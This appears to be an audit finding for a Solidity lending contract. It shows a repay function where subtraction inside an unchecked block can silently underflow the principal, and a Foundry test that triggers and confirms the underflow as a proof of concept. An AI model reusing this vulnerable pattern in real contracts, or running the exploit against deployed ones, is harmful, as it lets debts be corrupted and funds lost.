function repay(
  ILineOfCredit.Credit memory credit,
  bytes32 id,
  uint256 amount
)
  external
  returns (ILineOfCredit.Credit memory)
{ unchecked {
    if (amount <= credit.interestAccrued) {
        credit.interestAccrued -= amount;
        credit.interestRepaid += amount;
        emit RepayInterest(id, amount);
        return credit;
    } else {
        uint256 interest = credit.interestAccrued;
        uint256 principalPayment = amount - interest;

        // update individual credit line denominated in token
        credit.principal -= principalPayment; // @audit-info potential underflow without an error due to the unchecked block
        credit.interestRepaid += interest;
        credit.interestAccrued = 0;

        emit RepayInterest(id, interest);
        emit RepayPrincipal(id, principalPayment);

        return credit;
    }
} }
function test_lender_use_and_repay_underflow() public {
    uint256 largeRevenueAmount = lentAmount * 2;

    deal(address(lender), lentAmount + 1 ether);
    deal(address(revenueToken), MAX_REVENUE);
    address revenueC = address(0xbeef); // need new spigot for testing
    bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);

    // 1. Borrow lentAmount = 1 ether
    _borrow(id, lentAmount);

    // 2. Claim and trade largeRevenueAmount = 2 ether (revenue)
    bytes memory tradeData = abi.encodeWithSignature(
      'trade(address,address,uint256,uint256)',
      address(revenueToken),
      Denominations.ETH,
      1 gwei,
      largeRevenueAmount
    );

    hoax(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);

    (, uint256 principalBeforeRepaying,,,,,) = line.credits(line.ids(0));
    assertEq(principalBeforeRepaying, lentAmount);

    // 3. Use and repay debt with previously claimed and traded revenue (largeRevenueAmount = 2 ether)
    vm.prank(lender);
    line.useAndRepay(largeRevenueAmount);
    (, uint256 _principal,,,,,) = line.credits(line.ids(0));

    uint256 underflowedPrincipal = principalBeforeRepaying;

    unchecked {
      underflowedPrincipal -= (largeRevenueAmount);
    }

    // 4. Principal underflowed
    assertEq(_principal, underflowedPrincipal);
  }
